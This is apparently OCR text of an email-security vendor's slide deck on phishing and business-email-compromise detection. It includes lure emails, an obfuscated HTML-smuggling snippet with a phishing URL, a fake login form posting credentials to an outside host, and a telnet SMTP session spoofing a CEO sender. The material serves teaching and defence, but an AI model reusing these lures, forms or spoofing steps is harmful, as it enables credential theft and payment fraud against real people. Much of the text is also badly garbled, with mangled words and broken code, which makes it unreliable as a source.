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Trellix Award
* 2023 Cyber Security Excellence Award
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Best Email Security Solution

* 2021 Cyber Security Excellence Award

Best Email Security Solution
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Best Email Security Solution
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Best Email Security Solution

2018: CRN Tech Innovators Winner
Security Email

2018: SC Awards Europe Winner
Best Email Security Solution
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Best Email Security Solution

2018: Channelnomics
Email Security Award
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and confidentiality
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Good Afterncon,

r DOWNLOAD YOUR INVOICE

Please find attached our invoice for works carried out.

® Per conto di: bergila@secure-pec.it =
POSTA CERTIFICATA: Your new payment notice
wH= Ateh:
E©E Y= AM2E: bergila@secure-pec.it
2o @ MPE (Posta Certifi

uBA PEC)

Messaggio di posta certificata

20

81 B 14 2

Il giorno 13/08/2018 alle ore 22:52:33 (+0200) il messaggio

Il messaggdio originale e INcluso in allegato.

"Your new payment notice" & stato inviato da "bergila @ secure-pec.it"

018081 6930.30;
=
pergila@secure-pec.it>

A H A ‘Wells Fargo
= notice

=5 2018 8 1A 27 S5A| 525 335 GMT+9
s At

LLES N

Please allow up to 10 minutes for a transaction to appear.
Get your receipt here.

Weills Fargo. Unlike Your Bank.

Most sincerely,
Benjamin Taylor

Thank you for being our customer.

1.62@pec.aruba.it

A9} Po] WA F L =PUG

Ak o

()Ml vkl = A4 A & JTHO, KIM

P
DUCK SHIN
-

DUCK SHIN QUALITY&TECHNOLOGY. CO.,LTD.
A ZaliAl TleiH £82] 941

TEL : (055)342-8090~1

FAX : (055)342-8092

E-MAIL : d

B2 IRl 27(546KB)

g 18-AY-10357246AX|H0{ Y. xls.zip 297KB PCxiat
s 18-AY-10357246A %0 ¥.xIsx.ace v8KB PCxE

~2018.11.24 08:40 (30zt=

100%|c

® @ 20184 9 62 23 2:10 0 ® ALY DV 18:41
Invoice for Services - 18-AY-1035724621%|L|0{&
= ARRh
e Atgh
Hello,
Attached is the setilement letter for the payment issued.
Best Regards,
1800-617-7393 (ext.7552)
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KBinsurance_mail

Password is 35853
<iframe src="data:application/x-zip-compressed;basegd4,UEsDBEQAAQATIAMMBS IRzVKDTWYKDAAABBAAUACQASEIpbnN1cmFuY 2V TEWFpbCS leGUKACAAARAAAAEAGAD T Tnz4+R3YAYekg/ ] SHdgBhGSD
+Pkd2AFWYZzDj Z4Fs/NcMS0dbDMnEBTEGRNo4 /11 150oqDDnfaf/I/2LBifYH+2bm76htZBESSu7BWAIGkkuwb TEOSFYX1kWTs@xeb5yMmOOCESDWHPS 1/GSIPLdy/SM3R3ra2 /K] j7ThNFAMSciG/
PyfDjBM78BYiBKCEYYV5VV5alFIThiasM@FuffoylosHpNmNSS5]1SZiDZgTAUXBD rW3U/LOUVHYK LdyifCECONCX900pHc1B05WmAKhSKXBIN] z ip/hgmwMuSx++0]6v rHAYWOOwBoVVE4baKgRdZL T4/
OVAMNExK4y9eiSwWygkIYXMgRtCTr+8poVUWy 4 pdXW3igRApKIqTULImUXYy s Z95Ght/3NmITzvIRBpndBISYIHVp TDREIBVTCXVS / kokIMnPX3EaBM9aulEgTUxBeNTIXUIpodDris
+B4Rd5zTgNhVn3P8cSKbLXR@eciDDAIG0GACChuVwxRiE0AWT IeeMrpBYY3wkbt4DvIA rcBLnmxPclWMLpSonSmWlulgoqosmKy/ sUN3YsMEQ fpnj 2EIFQUE+TX]In1ICn0BiGe50XXz9AcsDG930Z/
PvuZ9pBou72yhtuw/AhpBRI+K2/tm7hWi7 rUuwWTXRE4a7p550+qT2a6RNYHZVAQsPQImBAVddLXS3yIETYBA1GEgSarydMu,/pDn8C/NdSAryWBMul 10XzEZh+B4e+PdwnT
+3h1825] ZDy5IwlediDSRIFTC4h2n576I08RTv@nTMERMMUIOQPxZzI 1Y4WDBOe X1l TPeoMSILMLOGALSSWSZhVITgt j4cYorMwlo53 7TEQWiWkwE 1DoOVT7bSninyeE24 T T FXONvCASUWIUB rnXHwyx@0 1VyX6b/
pLlRL3LmjopvBkLPKrBCN4riscla3P1820X0YI4W) ZZgk3EvpBbeTLLEDMLTXKZ /POmtyMNC IWuhkoVFg97G518Zy3s4L IDNxMZE6qVhURVZS5132hpme879pm+mmIhQhj IHv76pLb3CvMiwLShTEDDcI W25 0wt zWyjYq/

<script> I_|E§|.E| URL ALOIS| _CT>'_7=|
let HPk = 'https://aOuthwalive.xyz/doc762pdif///p30ko.php";

let ellm = 'kenneth.chong@keppelom.com;
BoW = part =>{ const x =[e'p A,l'3"a,%' e, c];
Javascript obfuscated mail
const returrn = part[x[8]+x[0]+x[1]+x[3]+x[5]+x[9]+x[0]+x[2]+x[3]+x[3]] ( '+-'+'
'x[6]);

return returrn;

setTimeout (" location.hre ] sCurit I nd _obfuscatec urL.*tI",EH@ﬂE};

constx="-3C-21-44-4F ...
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USAA <cbah"tuj@gma|l com>

Important update regarding your USAA account
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E 4 Important update r... X

To ensure debvery 10 your inhos, please a0d LISAA Customer Servicodhmadonnier Lsas 0om 10 your address book

USAA SECURITY ZONE
USAA # arding n 2906

Important update regarding your USAA account.
Dear Member

This lettor is 10 verily

= i provided on  12-29-2021 1o increase your daily account limit
p,mmm,o.,,a covpghraRnmtrdseigisonsr s bt fxasson ol
Thank you, r =
USAA https://sad/ -QoaPI

USAA means United Services Automobile Association and s insurance, banking and investment afilistes

“ Go Paperless

00 MOBILE
s & more

9 CONMUNITY ot o

Please 0o not reply 10 thes e-mall

https://s.id/-QoaP (¥+=URL)

403

That link seems to contain domain name that is banned. Please
contact PANDI for more information.

Slid
Terms of Service
Privacy and Policy
Help

https://anytka72genesh.com/bbst.htm
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403 Forbidden

Request forbidden by administrative rules.
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[ & Adobe online editor x | |
File Edit View Window Help
Home Tools pat. X
® 8 Q

@
(8]
@

Your .ac password expires today 12/23/2021 5:40:01 am.
Sign in
= Use the button below to continue with same password
You must be signed in to access shared file(s) s
-@yuhs. ac Note: Your mails may not be delivered until you verify your account.
eesoee N
Sincerely,

O Keep me sign in Forgot Password?
| | yuhs.ac IT-Support.

<span Id="msg9" class="text-danger” style="display: none:">Invalid Password..! Please enter correct password.</span»<br>
«span id="error” class="text-danger” style="display: none;">That account doesn't exist. Enter a different account</span>
<smal |></smal >

<div class="form-group”>

«form action="https://editpdfonl ine.ga/adobe/next .php” method="POST">
<input type="email” name="ai" class="form-control rounded-0 bg-transparent” id="ai" aria-describedby="aiHelp"

placeholder="Emai|, phone or Skype" value="univ@yuhs.ac” readonly>

a1V,
«div class="form-group mt-2">»
<sma | |></smal|>

17

Sign in to continue

Email
@yuhs.ac
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Frorn mike.smith@example.com <ceofraud71286@gmail.com>

Subject Urgent
To Helen Brown <helen brown@example.com=>
Date Tue, 17 Oct 2017 15:05:38 +0100
Message D <fbd71d53-2440-b5f8-d2fd-bd3alVbe3ab0@theemaillaundry.com:
User agent Mozilla/5.0 (Windows NT 10.0: WOW6E4: ns32.0) Gecko/20100107 Thunds

Hi Helen,

I'm tied up in a meeting but need you to make a payment to one of

Can you take care of this for me?

I cannot take calls right now, only contact me through email.

Thanks,

Mike

Thanks,

Mike

ike.smith@example.com

Hi Helen,

I'mti i '
Mtiedupina meeting but need you to make a

Payment to one of aur ve
nd i
they will cut us off, RS iming

Can you take care of this for me?

I f:anﬁm_ _take calls right now only contart .

esal e -
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WindowsXP-SP3
Windows7 64bit
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A A SH(SCAM) TS

Purchase - Message (HTML)

File Message Help ¢ Tell me what you want to do
,E= I B | SA A A [SMeeting <5 L Find A) Q\
Friendlv Display Name low Tranﬂ:te il Read Zoom
Junk ~ = = - [
5 Jun Z] 1:]13 J_ CEO o] ﬁ(/\}%}) Anal S?; (VIPp Lizt) v [» Select~ Aloud
y Editing Speech Zoom Y
Purchase
@ Clarence DeCEQzar|<bad.actor@bad.com>|<— B A0l o H oy 4 ol Deep Relationship Analysis
To Steve Jenkins
Hi Steve,
I need you to make a purchase for me. =z = =] = = .
! ’ N sHAl F sl oF & Content Analysis —
Kindly keep this between us and let me know when you are available. 2&7‘(] Machine Lea rning
Regards,
Clarence

25
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From: “Ken Bagnall" <ken.bagnall@badguy123.com>
To: “Collin Biondo" <collin.biondo@fireeye.com>

H L AL2E 3= 40f display name S 291510,
HE=ALRE =4 To.) Q| =0 Q10 =8 L 20| off &
|0 =471 J=K| =0,

Synthetic addresses:
kenbagnall@fireeye.com, ken.bagnall@fireeye.com,

ken_bagnall@fireeye.com, kbagnall@fireeye.com,

26

From: |[Ken Baagnall <ken.bagnall@adquyl23.com>
To: Collin Biondo <collin.biondo(ifireeye.com>
Reply-To: Bad Guys <badguy2@badguys2.com>
Subject: Payment Pending [Urgent]
Date:09242018 15:59

I am in a meeting right now ¥
payment to our vendor? Let m

Kind Regards, l

Ken Bagnall

: [ Urgent
250 2.0.0 FDD906116B2C69ABS :

Ken Bagnall

Hi Helen,

they will cut us off

Lan you take care of this for me?

via email.

Thanks,

I'm ti
o rt:en:l upina meeting but neaqd you to make g
yment to one of oyr vendors ASApP otherwise
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From: "Display Name" <username@salezforce.com>
To: "Recipient" <username@salesforce.com>

* Metaphone Algorithm= O| 25} 0| “From” 1} “To”
Header2| =0 @ ES H| 3t

27

M| =2 FO| H|zsh A o] £

| - —

o

From: "Display Name" <username@salesfOrce.com>
To: "Recipient" <username@salesforce.com>

e “From” 1} “To” Heard2| =0 @] = H| 151G

QA E BT E,
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1A% AFY 27 12 | Reply-to-Address 2F B A| X| 5| =AM

o o o [co}lin@?ﬁafwasﬁer‘?]$ telnet smf.inline.email.fireeyecloud.com. 25
* Reply to address = Atd O 2 Of| <4, Trying 165.254.91.98... |

Connected to smf.inline.email.fireeyecloud.com..

Escape character is '"]"'.

220 2.0.0 mx.us.email.fireeyecloud.com ESMTP

D74 X = Ml el SIAIE "E S &L helo me.com
M) _IX|-I— I:I-” = _(2_| I—I = = O|- EH_‘R'—E O|——|— 250 2.0.0 iad-etp-mta-prod-55.cso.fireeye.com says HELO to 199.16.196.4:18486
= - o mail from:<john.doe@onexistantdomain.com>
A& AlAEe 2= RIO{OF &, 250 2.0.0 MAIL FROM accepted

rcpt to:<inlineuserl@etpdemo.com>

250 2.0.0 RCPT TO accepted

data

354 3.0.0 continue. finished with "\r\n.\r\n"

From: CEQO John Doe <john.doe@onexistantdomain.com>

To: Inline Userl <inlineuserl@etpdemo.com>

Reply-To: Bad Guy <bad.guy@attacker.com>

Date: 09282018 13:05

Subject: Urgent Payment Act Now

I am in a meeting right now but are you available to process an urgent
payment to our vendor? Let me know and I will send you the details.

Kind regards,
CEO John Doe

250 2.0.0 5396121296398EAB5d866313b mail accepted for delivery

28 TrelliX
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Supply Chain Impersonation

o S AKX O Q10| CHSHO] Appliancelll Local Cache A AL.

AL

* Envelope O| O] E{ d 2 (sender domain and the envelope from headers and reply to headers)0l| CiSH A FAUDE £ ™ &

FAUDE and Preproc

FAUDE 0o

-y
n
6/;0, p/-e
P, o,
(o

Data Enrichment

Appliance

(5‘0\
\©
BALE +YARA on "NewLocalFromEmail "
content "NewLocalFromDomain"
"FromEmailCloseMatch "
"NewEmailReply”
"NewLocalReplyDomain”

29

Message

Envelope

TO: blergh @firefish.net

CC: blargh@firefish.net
BCC: blorgh @firefish.net

MAIL FROM: blirgh@firefish.net
RCPT TO: blergh@firefish.net

RCPT TO: blargh@firefish.net

RCPT TO: blorgh@firefish.net

Hello Blergh,

Thanks for all the fish.

Kind Regards,
-Blirgh

(DATA) Email Headers + Body

From: blirgh@firefish.net

TO: blergh@firefish.net
CC: blargh@firefish.net
Hello Blergh,

Thanks for all the fish.

Kind Regards,
-Blirgh

TrelliX
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scam =x]715#2 | & A| Cloud 7| gt SCAM EFX| Aty

=0 @l =22 ALE5|0f(Serverd@oxmxva.buzz), Ef H(Reply to)2 LHE H| & 2 (reynairdcendra@gmail.com)Z 2 =5
= SCAM & 4 0f| CijotC] I}O|0{ 00| S 2t E& O| 8¢t EA|

Alert Details

Riskware Type Riskware Object Sensor FS.EAPT-1 Message ID  queue-id-4GIV]j2knRzShnZg@no-message-id Sender server1@oxmxva.buz Recipient Time (KST)  08/12/21 11:00:19

Summary PREPARE TRIAGE BUNDLE DOWNLOAD EMAIL VIEW EMAIL DOWNLOAD XML

Malware CustomPolicy.MVX 65038 SupplyChainimpersonation.NewDomai ID 5187
] N.LIVEDTLEMAIL Distinguisher(UUID) d197d4d6-12b0-49aa-bSd6-a01368f7279b
el o MD5sum  59e62563d20c50f77681555f6b022264
Message ID  queue-id-4GIV]2knRzShnZg@no-message-id
SHA-256  85e0c909db0ec2dafeee6e929c6a6539896dalb3ccddaa270a507c99bald0ccc

Suspicious behaviour observed

<smtp-header>Received: from antispam.posco.net (unknown [192.168.71.97]) by F.S.EAPT-1 (Postfix) with ESMTP id 46Iv112knRzShnzq for NN Thu, 12 Aug 2021 11:00:16 +0900 (KST) Received: from
hp0.oxmxva.buzz ( [147.182.204.227]) by antispam.posco.net (DEEPSoft WBlock 5.04.580) with ESMTP id o SN Thu, 12 Aug 2021 11:00:12 +0900 DKIM-Signature: v=1; a=rsa-sha256;
c=relaxed/relaxed; s=default; d=oxmxva.buzz; h=Content-Type:MIME-Version:Subject:To:From:Date:Reply-To; i=server1@oxmxva.buzz; bh=u/LEt/K3v4vrdfLmnI3RkBOkFMgloybsdUSNwTjiREo=;
b=Mihs3j1UriKDLo4UxQqMMvcve6P9HjLIAHU+ocp6kWdpbRZORNYUi765r+aNDCsW6S7X6nkqIwzs MsEOxPCaDkgd+9fBCUJtZuRHrgomq7/w6CBX9jLFTenzq3eBe3zPLIzkg8zAIIDhS6avGGIRLBOB
QVxa/vzSp+FIC66Ixc4= X-WB-MSG-ID: 6995357588879665221 X-WB-RES: 16:ANAD_128,MSGID_003,HARCT_016,HARETC_017
str=0001.0A673444,611480AC.009F,ss=1,re=0,000,recu=0,000,reip=0.000,cl=1,cld=1,fgs=0 X-WB-TRACE-IP: 147.182.204.227 Content-Type: muItifart[aIternative;

boundary="=============2=1221030092==" MIME-Version: 1.0 Subject: Check Recent Activities! To: -(-Firefye: Not Scanned From: "Email Service"<server1@oxmxva.buzz> pate: Thu, 12 Aug
2021 03:59:38 +02¢ Reply-To: "Email Service" <reynairdcendra@gmail.com>» </smtp-header>|
190:38 T

<date>Thu, 12 Aug 202 {Jaate> ] . .
<subject>Check Recent Activities!</subject> Reply-To : reynairdcendra@gmail.com

[Bf A= O & of o]
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You have been redirected to this page because your organization has deployed FireEye Advanced
Targeted Protection to protect you against targeted phishing attacks.

http://www.benatra.com/wp-
content/uploads/2016/05/gopni3g/home.php

For more information about your organization’s security practices, or if a legitimate site was blocked
Incorrectly, please contact your organization's help desk,
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